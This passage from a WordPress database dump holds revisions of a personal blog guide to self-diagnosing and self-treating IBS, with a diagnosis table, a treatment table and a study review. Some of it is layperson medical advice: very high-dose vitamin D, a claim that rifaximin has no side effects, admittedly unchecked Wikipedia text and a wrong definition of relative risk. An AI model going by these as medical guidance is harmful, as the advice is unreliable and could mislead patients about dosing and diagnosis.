href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3925853/\"><strong>A review of Helicobacter pylori diagnosis, treatment, and methods to detect eradication (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>H. pylori</em> infection affects nearly half of the world’s population. In developing countries, the prevalence of infection is as high as 90%, whereas in developed countries, excluding Japan, the prevalence is below 40%</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Today, the involvement of H. pylori in active chronic gastritis, its association with gastroduodenal ulcer, and its well-accepted role as a risk factor for the development of gastric cancer are well documented[68].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cedars-sinai.org/health-library/diseases-and-conditions/g/gastritis.html\">Gastritis | Cedars-Sinai (cedars-sinai.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Stomach upset or pain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belching and hiccups</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belly (abdominal) bleeding</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nausea and vomiting</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Feeling of fullness or burning in your stomach</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loss of appetite</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blood in your vomit or stool. This is a sign that your stomach lining may be bleeding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Helpful info from Wikipedia that I didn’t feel like checking</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Causes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><li>Neurological/psychiatric: A study of 97,593 individuals with IBS identified comorbidities such as headache, fibromyalgia, and depression.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-79\"><sup>[79]</sup></a> IBS occurs in 51% of people with chronic fatigue syndrome and 49% of people with fibromyalgia, and psychiatric disorders occur in 94% of people with IBS.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-White2002-10\"><sup>[10]</sup></a></li><li><a href=\"https://en.wikipedia.org/wiki/Channelopathy\">Channelopathy</a> and <a href=\"https://en.wikipedia.org/wiki/Muscular_dystrophy\">muscular dystrophy</a>: IBS and functional GI diseases are comorbidities of genetic channelopathies that cause cardiac conduction defects and neuromuscular dysfunction, and result also in alterations in GI motility, secretion, and sensation.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BEYDER_2016-80\"><sup>[80]</sup></a> Similarly, IBS and FBD are highly prevalent in <a href=\"https://en.wikipedia.org/wiki/Myotonic_dystrophy\">myotonic muscle dystrophies</a>. Digestive symptoms may be the first sign of dystrophic disease and may precede the musculo-skeletal features by up to 10 years</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Epidemiology[<a href=\"https://en.wikipedia.org/w/index.php?title=Irritable_bowel_syndrome&amp;action=edit&amp;section=33\">edit</a>]</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Canada</td><td>6%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td></td></tr><tr><td>Japan</td><td>10%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>United Kingdom</td><td>8.2%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-EHLIN_2003-152\"><sup>[152]</sup></a>10.5%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-WILSON_2004-153\"><sup>[153]</sup></a></td><td>Ehlin, 2003Wilson, 2004</td><td>Prevalence increased substantially 1970–2004</td></tr><tr><td>United States</td><td>14.1%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-HUNGIN_2005-154\"><sup>[154]</sup></a></td><td>Hungin, 2005</td><td>Most undiagnosed</td></tr><tr><td>United States</td><td>15%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td>Estimate</td></tr><tr><td>Pakistan</td><td>14%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2007-155\"><sup>[155]</sup></a></td><td>Jafri, 2007</td><td>Much more common in 16–30 age range. 56% male, 44% female</td></tr><tr><td>Pakistan</td><td>34%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2005-156\"><sup>[156]</sup></a></td><td>Jafri, 2005</td><td>College students</td></tr><tr><td>Mexico City</td><td>35%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-SCHMULSON_2005-157\"><sup>[157]</sup></a></td><td>Schmulson, 2006</td><td>n=324. Also measured functional diarrhea and functional vomiting. High rates attributed to \"stress of living in a populated city.\"</td></tr><tr><td>Brazil</td><td>43%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>Mexico</td><td>46%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Gender</strong>[<a href=\"https://en.wikipedia.org/w/index.php?title=Irritable_bowel_syndrome&amp;action=edit&amp;section=34\">edit</a>]</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Women are around two to three times more likely to be diagnosed with IBS and four to five times more likely to seek specialty care for it than men.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-158\"><sup>[158</sup></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Studies of females with IBS show symptom severity often fluctuates with the menstrual cycle, suggesting hormonal differences may play a role.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-159\"><sup>[159]</sup></a></p>\n<!-- /wp:paragraph -->','A complete guide to self-diagnosing and self-treating IBS','','inherit','closed','closed','','58-revision-v1','','','2021-04-16 17:25:31','2021-04-16 17:25:31','',58,'https://trevorklee.com/?p=59',0,'revision','',0),
(61,1,'2021-04-16 17:30:02','2021-04-16 17:30:02','<!-- wp:simpletoc/toc {\"max_level\":3} /-->\n\n<!-- wp:heading -->\n<h2>Introduction</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I went through my own bout with IBS some years ago. It was really frustrating. It seemed to come out of nowhere. I spent a lot of money on a test for SIBO to see if that was the problem, but didn’t see any results. Then, it briefly seemed like I was cured, only to randomly become sensitive to gluten for a year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dealing with IBS was especially frustrating because of the unhelpful advice from doctors, family, and friends. Doctors would tell me it was all in my head. My family thought I had Crohn\'s. My friends just would get weirded out by the things I refused to eat, and try to nag me into trying just one muffin/beer/hot wing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A few years ago, my IBS disappeared as suddenly as it came. Now, I’m mostly ok. But I still remember how frustrating and life-impairing IBS was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This article is what I wish I had back when I first got IBS. It’s not just another blog spam on the front page of Google, with the 5 things that literally every other blog spam tells you about IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a comprehensive guide to making sure you have IBS and not another disease, and then treating IBS. And I mean comprehensive. If I missed anything, tell me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the article, I list all my sources (and there are a lot!) and what I took from them. I also include my evaluation of the treatment options, as I know that can be an especially challenging thing for IBS patients to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re pressed for time, just scroll down and look at the tables. If you’re not, feel free to read everything.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>How can you be sure you have IBS?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>IBS is a diagnosis of exclusion. If you don’t have other conditions that can also cause stomach problems, then you probably have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most doctors skip straight to diagnosing IBS without thoroughly checking whether you might have these other conditions. That’s unfortunate, because, unlike IBS, some of these other conditions actually have cures. If you’re diagnosed correctly, your IBS could be solved a lot quicker.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, some of these conditions are much more serious than IBS. So, you definitely want to make sure you don’t have these other conditions, because, if you do, you’ll need to start treating them ASAP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a pretty exhaustive list of conditions that mimic IBS. Each row is a separate condition. Use it to potentially diagnose yourself. You’ll need laboratory tests to confirm whether you’re correct, but at least you’ll be able to advocate for yourself at the doctor’s office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that the more of these conditions that you have, the more likely the diagnosis is. So, if you take the first example, an obese smoker on prednisone with constipation is more likely to have diverticulitis than a skinny non-smoker with diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, please note that I’ve <em>italicized</em> the most important parts of a diagnosis. For example, unexplained weight loss is a pretty big warning sign for colon cancer and Chron’s. If you just have diarrhea and don’t have unexplained weight loss, neither colon cancer or Crohn\'s are likely (but they’re still possible).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR <em>bright blood in your stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR <em>unexplained weight loss</em> OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em> OR <em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR <em>fever</em> OR <em>unexplained weight loss</em> OR growth retardation</td><td></td><td>Crohn\'s disease</td></tr><tr><td>Joint pain OR <em>cold intolerance</em> OR constipationOR depression OR heavy menstrual flow OR unexplained weight gain or <em>fatigue </em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec) </em>OR <em>opioids</em> OR <em>gastric bypass</em> OR <em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR <em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65 </em>OR <em>African American</em> OR <em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool <em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or <em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR <em>feeling of fullness or burning in your stomach</em> OR blood in your vomit or stool.<br></td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain<br></td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em> OR diarrhea OR <em>shortness of breath</em> OR <em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Steps to treat IBS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve made it through the whole list above and none of those apply to you, you probably just have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s more likely you have IBS if you have a history of anxiety or depression, are female, or especially if you’ve <em>recently had a stomach bug</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now you’re looking for treatment. Good on you! My recommendations are to start with a food restriction diet. Take away everything but chicken and rice, then slowly add the rest back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have diarrhea, you might try a low FODMAP diet, eating small, regular portions, and/or limiting gassy foods like beans, cabbages, and onions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have constipation, you might try psyllium or linseed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want to try medication, I’d recommend very high doses of cholecalciferol (Vitamin D3), like 50k IU every 2 weeks. You might also try peppermint oil for short term diarrhea relief.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s my short list. For my long list, including evaluation and limitations of treatments, read on!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Treatment Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Potential IBS treatment</strong></td><td><strong>Evaluation</strong></td><td><strong>Limitations</strong></td></tr><tr><td>Low FODMAP</td><td>Low FODMAP diets seem to work. It doesn’t necessarily work better than just eating normal portions at regular times and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</td><td>The studies are only 1-3 months. It’s not clear what happens if you resume a normal diet after that time span.<br>The studies aren’t very well designed.</td></tr><tr><td>Gluten free diet (for non celiac)</td><td>It can work, but there’s not a big effect.</td><td>It only works for people who are sensitive to gluten (it’s not for anyone with IBS).</td></tr><tr><td>Fiber</td><td>Bran and insoluble fiber are probably not effective in any form of IBS.<br>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective in all forms of IBS. Linseed seems like it’s probably better than psyllium.&nbsp;</td><td>All studies were done over a max of 1-3 months.<br>The studies aren’t very well designed.</td></tr><tr><td>Laxatives</td><td>Laxatives work.</td><td>They may not prevent constipation, especially in older patients</td></tr><tr><td>Anti spasmodics (dicyclomine, peppermint oil, pinaverium, trimebutine)</td><td>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</td><td></td></tr><tr><td>Discontinuation of proton pump inhibitors</td><td>Not really a cure for IBS, but PPI overuse does lead to SIBO.</td><td></td></tr><tr><td>Antidepressants</td><td>Antidepressants probably work if your IBS is caused by depression or anxiety. It’s unclear whether they work if you don’t.</td><td>Antidepressants aren’t more effective in IBS than therapy.<br>It’s unclear if the type of antidepressant matters, but it most likely varies from person to person.</td></tr><tr><td>Rifaximin</td><td>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</td><td></td></tr><tr><td>Vitamin D3</td><td>Very high doses of vitamin D every 2 weeks (50,000 IU) probably improve IBS symptoms.</td><td>Taking really high doses of vitamin D can cause side effects. If you get side effects, stop taking vitamin D.</td></tr><tr><td>Soy isoflavones</td><td>Soy isoflavones may improve IBS in women.&nbsp;</td><td>There aren’t really good studies in men. There are no good long term studies either.</td></tr><tr><td>Acupuncture</td><td>Real acupuncture works just as well as fake acupuncture (having someone pretend to stick needles in you). Both work ok.</td><td></td></tr><tr><td>Probiotics</td><td>Probiotics may have a small effect.</td><td>The type of bacteria in the probiotic and the formulation matters a lot, as a lot of probiotics are useless or destroyed in the stomach.</td></tr><tr><td>Mesalazine</td><td>Mesalazine is probably not effective in IBS.</td><td></td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Evidence</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I evaluated the evidence</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Evaluating evidence is hard in general, and evaluating evidence in IBS is no exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll list out those problems, then list how I tried to solve them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, there are specific IBS issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS has a variety of symptoms associated with it, and a treatment that fixes diarrhea will not necessarily fix constipation. This makes treatments difficult to measure in effectiveness. Some scientists try to make up for this by asking patients questions like, “Is your pain reduced?” or “Are you happy with your bowel movements?”, but those can be biased by treatments that treat only pain or depression without affecting IBS-specific symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To solve this, I tried to tease out the various effects that treatments had on different symptoms of IBS when I could. I paid especially close attention to questions that could be biased, which was a particular issue in antidepressants, as those will obviously make people happier with any treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS is also, obviously, really hard to diagnose. One study found that 30% of people with IBS-D actually have bile acid malabsorption. If that’s true, then 30% of the people in any IBS-D study don’t have IBS. What exactly does the study measure, then?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t have a good way of solving this, so I just hoped for the best.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS studies are also often reliant on patient compliance, especially when testing dietary interventions like low FODMAP. This is...not great. <a href=\"https://journals.lww.com/ajg/Fulltext/2014/10002/Diet_Compliance_and_Its_Measurement_in_a_Clinical.1734.aspx\">This IBD study</a> found only 55% diet compliance (i.e. patients ate different food than prescribed almost half of the time). From my own experience, I had a girlfriend who did weight loss studies. Even when the study gave her food to take home, she would throw it out and just eat her own food because it tasted better. Needless to say, she did not tell the clinicians this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to solve this by avoiding studies that were reliant on patient compliance and self-reporting. If I couldn’t avoid the studies, I relied on them less for my recommendations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, those are some IBS specific issues. Let’s talk about issues in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The gold standard for a trial is placebo-controlled, double-blind and randomized. Placebo-controlled means that half the people get a fake treatment, so the experimenters can weed out any people who would have gotten better regardless of if they got the control.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Double blind means that neither the patient nor the experimenters know whether they are getting a real treatment, so nobody can cheat on their measurements or reports if they have a belief one way or another. Last, randomized means people get randomly assigned to placebo or treatment, so we end up with the same sorts of people in both groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reaching that gold standard is easier in some trials than in others. If we’re testing a treatment like gluten, it’s actually surprisingly easy if the experimenters are up for it. They just give every group a pill, and sometimes the pill contains wheat flour, sometimes rice flour. The experimenters don’t know which pills are which until all the measurements are done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if we’re testing a treatment like low FODMAP, it’s impossible. Everyone knows which diet is the low FODMAP diet. There’s no faking it for either side. So, if a patient really believes low FODMAP will work for them, they might be a little more lax with their reports, (if they’re between a 1 and 2 on a scale, they might choose 2 more often than 1). An experimenter might do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to notice when studies were falling away from the gold standard, but I don’t want to just throw away all studies that don’t reach that standard. Then I’d have to throw away a lot of potential useful treatments. Instead, I weighted my judgments accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once I was sure studies were performed well, I looked for consistently positive results. Any study can have a positive result once, especially if it’s a small study, in the same way that it’s easy to flip a coin 3 times and get all heads. But consistently getting heads when you flip a coin 100 times is a different story, and suggests there’s actually something there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for consistent results across measures. A treatment should improve IBS severity, overall satisfaction, and symptoms. If it only improves one measure, it suggests that measure might have been a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for big results in the form of big effect sizes vs. placebo. When there are treatments that can almost quadruple the effects of placebo like vitamin D, small effects like mesalazine which might work ok for some people didn’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, I combined all these together and got my evaluations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my recommendations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some technical notes on how to read these.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>RR, which is relative risk, is basically the number with the bad outcome over the number with the good outcome. So, the smaller RR is, the better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CI, which is confidence interval, just accounts for error in the measurement. In the first study below, the RR is estimated to be 0.69, but it might be between 0.54 and 0.88.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I2 (which should really be I<sup>2</sup>) is a measure of “heterogeneity”, or how different the various effects are. The closer I2 gets to 100%, the greater the differences between studies (which makes you start to wonder why they’re so different).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>N, like n=39, is just how many patients there were in a specific group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The P value, like P=0.62, is the likelihood that a difference found between treatments or conditions is a fluke. By convention, we use P&lt;0.05 to mean significant, as in there’s a less than 5% chance that the difference is a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Note for statistics nerds: all the definitions above are rough definitions for a lay audience. If you know the definition better than that, then good on you! Please don’t send me angry messages over it.]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My notes on each study are in <em>italics.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>FODMAP</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Low FODMAP diets seem to work, but the studies aren’t very good. It doesn’t necessarily work better than just eating regularly and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\">A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta-study for both gluten-free diet and low FODMAP. I used it to guide my thinking, but also looked at the studies myself.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;There were seven RCTs comparing a low FODMAP diet with various control interventions in 397 participants. A low FODMAP diet was associated with reduced global symptoms compared with control interventions (RR = 0.69; 95% CI 0.54 to 0.88; I2= 25%). The three RCTS that compared low FODMAP diet with rigorous control diets had the least heterogeneity between studies, but also the least magnitude of effect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508515010860\">Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome as Well as Traditional Dietary Advice: A Randomized Controlled Trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that this study is relying on food diaries. This is an ok solution to problems of non compliance, but it’s not great, as people can still lie or misremember. Keeping a food diet for 4 weeks is hard! Also, there’s definitely an overlap between the low FODMAP diet and the normal diet. There’s also no placebo group.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects were randomly assigned to groups that ate specific diets for 4 weeks—a diet low in FODMAPs (n = 38) or a diet frequently recommended for patients with IBS (ie, a regular meal pattern; avoidance of large meals; and reduced intake of fat, insoluble fibers, caffeine, and gas-producing foods, such as beans, cabbage, and onions), with greater emphasis on how and when to eat rather than on what foods to ingest (n = 37).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 67 patients completed the dietary intervention (33 completed the diet low in FODMAPs, 34 completed the traditional IBS diet). The severity of IBS symptoms was reduced in both groups during the intervention (<em>P</em> &lt; .0001 in both groups before vs at the end of the 4-week diet), without a significant difference between the groups (<em>P</em> = .62). At the end of the 4-week diet period, 19 patients (50%) in the low-FODMAP group had reductions in IBS severity scores ≥50 compared with baseline vs 17 patients (46%) in the traditional IBS diet group (<em>P</em> = .72).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/66/7/1241.short\">FODMAPs alter symptoms and the metabolome of patients with IBS: a randomised controlled trial | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study is looking directly at the metabolome, which is interesting, and should be more reliable than food diaries. The metabolome does seem to change a lot, which is interesting, but it’s weird to look at urine for the metabolome. Urine is not what would normally be affected by a change in diet.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;We performed a controlled, single blind study of patients with IBS (Rome III criteria) randomised to a low (n=20) or high (n=20) FODMAP diet for 3 weeks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thirty-seven patients (19 low FODMAP; 18 high FODMAP) completed the 3-week diet. The IBS-SSS was reduced in the low FODMAP diet group (p&lt;0.001) but not the high FODMAP group. LBTs showed a minor decrease in H2 production in the low FODMAP compared with the high FODMAP group. Metabolic profiling of urine showed groups of patients with IBS differed significantly after the diet (p&lt;0.01), with three metabolites (histamine, p-hydroxybenzoic acid, azelaic acid) being primarily responsible for discrimination between the two groups. Histamine, a measure of immune activation, was reduced eightfold in the low FODMAP group (p&lt;0.05).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508513014078\">A Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a pretty good study. They provided food and they collected stool instead of urine or self-report. Again, there’s no placebo control, so that’s a problem, but this is probably as good as you’re going to get with a low FODMAP diet. I wish they had more people and over a longer term.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a study of 30 patients with IBS and 8 healthy individuals (controls, matched for demographics and diet), we collected dietary data from subjects for 1 habitual week. Participants then randomly were assigned to groups that received 21 days of either a diet low in FODMAPs or a typical Australian diet, followed by a washout period of at least 21 days, before crossing over to the alternate diet. Daily symptoms were rated using a 0- to 100-mm <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/visual-analog-scale\">visual analogue scale</a>. Almost all food was provided during the interventional diet periods, with a goal of less than 0.5 g intake of FODMAPs per meal for the <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/low-fodmap-diet\">low-FODMAP diet</a>. All stools were collected from days 17–21 and assessed for frequency, weight, water content, and King\'s Stool Chart rating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects with IBS had lower overall gastrointestinal symptom scores (22.8; 95% confidence interval, 16.7–28.8 mm) while on a diet low in FODMAPs, compared with the Australian diet (44.9; 95% confidence interval, 36.6–53.1 mm; <em>P</em> &lt; .001) and the subjects\' habitual diet. Bloating, pain, and passage of wind also were reduced while IBS patients were on the low-FODMAP diet. Symptoms were minimal and unaltered by either diet among controls. Patients of all IBS subtypes had greater satisfaction with stool consistency while on the low-FODMAP diet, but diarrhea-predominant IBS was the only subtype with altered fecal frequency and King\'s Stool Chart scores.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Gluten free diet (in non celiac)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pretty good studies, but there’s not a big effect. All studies were done over 1-3 